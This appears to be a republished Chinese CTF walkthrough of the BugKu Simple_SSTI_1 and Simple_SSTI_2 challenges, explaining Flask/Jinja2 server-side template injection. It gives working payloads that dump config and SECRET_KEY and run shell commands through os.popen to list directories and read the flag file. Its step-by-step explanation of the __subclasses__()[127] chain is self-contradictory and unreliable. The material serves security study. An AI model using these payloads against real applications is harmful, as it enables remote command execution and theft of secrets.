BugKu-Web-Simple_SSTI_1Simple_SSTI_2(浅析SSTI模板注入!)

news2024/12/22 19:47:07

何为SSTI模块注入?

SSTI即服务器端模板注入(Server-Side Template Injection),是一种注入漏洞。

服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。

常见的SSTI模块注入攻击有哪些

常见的SSTI模块注入攻击包括以下几种:

  1. 代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。
  2. 敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。
  3. 垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。
  4. DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。

Simple_SSTI_1

题目环境
image.png

You need pass in a parameter named flag。
您需要传入一个名为flag的参数。

随便传参看看有何变化

?flag=1

image.png

?flag=flag.php

image.png

?flag=system(ls);

image.png

有点意思,不管输入什么,都会被"注释",不免让我有些惊愕。

接下来就步入正题吧

使用模板变量进行渗透
{{}}是模板变量的用法。在模板中,想要展示视图向模板渲染的变量,需要使用{{变量}}进行接收。

继续传参测试

?flag={{6*6}}

image.png

?flag={{6+6}}

image.png

爆出了部分信息

回到题目首页F12
image.png

You know, in the flask, We often set a secret_key variable.
你知道,在烧瓶里,我们经常设置一个秘密的钥匙…。

模板中的配置命令

在模板中,config通常指的是配置文件。这些文件包含了程序运行所需的设置和参数,使得程序可以根据配置文件的内容进行适应性调整。

那就到此为止吧

好好好,今天就依你,使用这把钥匙🔑来拿下flag

?flag={{config.SECRET_KEY}}
image.png
当然还有一个较为粗鲁的方法
直接查看所有配置
**?flag={{config}}**
image.png
最后一种方法就颇为更加的规范
?flag={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('echo $FLAG').read()}}

这里是对这段命令的解释

  1. ‘’.class:这部分获取了一个空字符串的类。
  2. .base:这部分获取了该类的基类,对于空字符串来说,它的基类是object。
  3. .subclasses():这部分返回了object类的所有直接子类。
  4. [127]:这部分试图访问子类列表的第128个元素(因为Python的索引是从0开始的),但这个索引超出了列表的长度,所以会抛出一个IndexError。
  5. .init:这部分试图访问某个类的初始化方法,但前面提到的子类列表访问是错误的,所以这一步也是错误的。
  6. .globals[‘popen’](‘echo $FLAG’).read():这部分首先尝试访问当前对象的全局符号表(字典),然后试图在其中查找popen键,并执行其对应的值(一个命令)。这个命令是echo $FLAG,它会输出环境变量FLAG的值。最后,.read()方法读取命令的输出。

这段代码的核心思想是通过复杂的对象模型和全局符号表来执行一个命令并读取其输出

image.png
拿下flag:
flag{d3b917ea81211b45b392e2ce1ec2a1c5}

Simple_SSTI_2

题目环境
image.png
照例查看配置信息
**?flag={{config}}**
image.png

唉,我不免耸了耸肩,有些无奈,并未发现什么有用的
想必相比第一题便不是那般小打小闹了
至此,看来得认真对待了

使用模板注入照打一番
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}

对于这段命令,在第一题,我也是有所提及,相差不大
这里略作解释
python中popen函数主要是用来执行linux命令函数
使用使用之前需要导入os模块
这段命令是列出上一级的所有目录以及文件

image.png
先看app目录
?flag={{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}
image.png

发现flag的存在

查flag内容
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
image.png
当让我们还可以使用Linux中find命令来查找flag的路径
?flag={{config.__class__.__init__.__globals__['os'].popen('find / -name flag').read()}}
image.png
接下来就照打不误了
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
image.png

拿下flag:
flag{1f13963c42fa39b5aae92e25d1627851}


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1307279.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TCP/IP详解——网络基本概念

文章目录 一、网络基本概念1. OSI 7层模型1.1 每层对应的协议1.2 每层涉及的设备1.2.1 物理层设备1.2.2 数据链路层设备1.2.3 网络层设备1.2.4 传输层设备1.2.5 交换机和路由器的应用1.2.6 问题 2. TCP/IP 4层模型3. 物理层传输介质3.1 冲突域 4. 数据链路层4.1 以太网帧结构4.…

socket 套接字

1、套接字介绍 socket起源于Unix,遵循“一切皆文件”出发点,都可以用“打开open –> 读写write/read –> 关闭close”模式来操作。 在设计模式中,Socket把复杂的TCP/IP协议族隐藏在Socket接口后面,Socket去组织数据&#xf…

Godot导出Android包报错:无效的包名称

问题描述 使用Godot为项目导出Android平台包时报错,提示:“无效的包名称:项目名称不符合包名格式的要求。请显式指定包名。” 解决办法 修改导出配置项“包->唯一名称”。 该项缺省值“org.godotengine.$genname”不能直接使用&#x…

36V/48V转12V 10A直流降压DC-DC芯片-AH1007

AH1007是一款36V/48V转12V 10A直流降压(DC-DC)芯片,它是一种高性能的降压变换器,常用于工业、汽车和电子设备等领域。 AH1007采用了先进的PWM调制技术和开关电源控制算法,能够高效地将输入电压从36V/48V降低到12V&…

SSM整合——Springboot

1.0 概述 1.1 持久层: DAO层(mapper) DAO层:DAO层主要是做数据持久层的工作,负责与数据库进行联络的一些任务都封装在此 DAO层的设计首先是设计DAO的接口, 然后在spring-mapper.xml的配置文件中定义此接…

【Unity学习笔记】光照简介

本节主要是简单介绍一些常见的光照组件和渲染设置。 文章目录 灯光类型平行光Directional Light点光源Point Light聚光灯Spot Light面积光 Area Light 阴影设置全局光照明光照模式直接光照与间接光照Mixed Lighting 光照探针Light Probe Group光照探针组 反射探针 灯光类型 在…

00后女孩月薪3200,3年买两套房,这个程序员变现新风口千万要把握住

00后女孩月薪3200,3年买两套房,这个程序员变现新风口千万要把握住 前几天,在网上看到了一份中国90后收入的调查报告: 报告显示: 90后月均收入8000元,三成90后零存款,两成90后存款达到10万以上…

鸿蒙开发之页面与组件生命周期

一、页面间的跳转 创建文件的时候记得选择创建page文件,这样就可以在main->resources->profile->main_pages.json中自动形成页面对应的路由了。如果创建的时候你选择了ArkTS文件,那么需要手动修改main_pages.json文件中,添加相应的…

mysql字段设计规范:使用unsigned(无符号的)存储非负值

如果一个字段存储的是数值,并且是非负数,要设置为unsigned(无符号的)。 例如: 备注:对于类型是 FLOAT、 DOUBLE和 DECIMAL的,UNSIGNED属性已经废弃了,可能在mysql的未来某个版本去…

​flutter 代码混淆

​flutter 代码混淆 Flutter 应用混淆:Flutter 应用的混淆非常简单,只需要在构建 release 版应用时结合使用 --obfuscate 和 --split-debug-info 这两个参数即可。–obfuscate --split-debug-info 用来指定输出调试文件的位置,该命令会生成一…

threejs 多屏互动效果,居然还能这么玩

threejs 多屏互动效果 看别人做了多屏互动的效果,觉得还挺有意思的,也顺便自己动手操作一下试试。 先来张效果图: 项目地址 参考地址 项目基于vuethreejs。 思路 大体思路如下: 架设一个正投影摄像机,在屏幕中间…

技术阅读周刊第9️⃣期

技术阅读周刊,每周更新。 历史更新 20231107:第五期20231117:第六期20231124:第七期20231201:第八期 美团技术博客十周年,感谢一路相伴 - 美团技术团队 URL: https://tech.meituan.com/2023/12/04/ten-year…

java学生选课系统 数据库版

首先让我们创建一个数据库 让我们向表中插入数据然后查询它

AI全栈大模型工程师(二十八)如何做好算法备案

互联网信息服务算法 什么情况下要备案? 对于B2B业务,不需要备案。 但在B2C领域,一切要视具体情况而定。 如果我们自主训练大型模型,这是必要的。 但如果是基于第三方模型提供的服务,建议选择那些已获得备案并且具有较大…

光伏开发设计施工一体化系统都有哪些功能?

随着全球对可再生能源的需求不断增加,光伏行业得到了快速发展。同时也面临着一些挑战,例如初始投资成本高、需要大量土地和水资源等。鹧鸪云光伏与储能软件利用技术创新,促进光伏行业数字化升级。 一、智能测算 1.投融资表:采用…

如何处理PHP开发中的单元测试和自动化测试?

如何处理PHP开发中的单元测试和自动化测试,需要具体代码示例 随着软件开发行业的日益发展,单元测试和自动化测试成为了开发者们重视的环节。PHP作为一种广泛应用于Web开发的脚本语言,单元测试和自动化测试同样也在PHP开发中扮演着重要的角色…

java智慧工地系统:让工地管理可视化、数字化、智能化

智慧工地功能包括:劳务管理、施工安全管理、视频监控管理、机械安全管理、危大工程监管、现场物料监管、绿色文明施工、安全隐患排查、施工综合管理、施工质量管理、设备管理、系统管理等模块。 一、项目开发环境 技术架构:微服务 开发语言:…

Ubuntu 设置共享文件夹

一、在Windows中建立一个英文的文件夹 注意:新建文件夹的名称一定要是英文的,不能出现中文的路径(可能出现问题) 二、在VMware中添加共享文件 3: VMware安装VMware Tools 一般安装成功桌面上会显示这个安装包,&…

【从零开始学习JAVA集合 | 第一篇】深入解读HashMap源码(含面试题)

目录 目录 前言: HashMap简介: HashMap的常用常量和变量: HashMap的重要考点: HashMap的存储过程: HashMap的扩容过程: HashMap的初始化: 常见面试题: 总结:…

菜鸟学习日记(python)——迭代器与生成器

迭代器 迭代是 Python 最强大的功能之一,是访问集合元素的一种方式。 迭代器是一个可以记住遍历的位置的对象。 迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束。迭代器只能往前不会后退。 迭代器有两个基本的方法:it…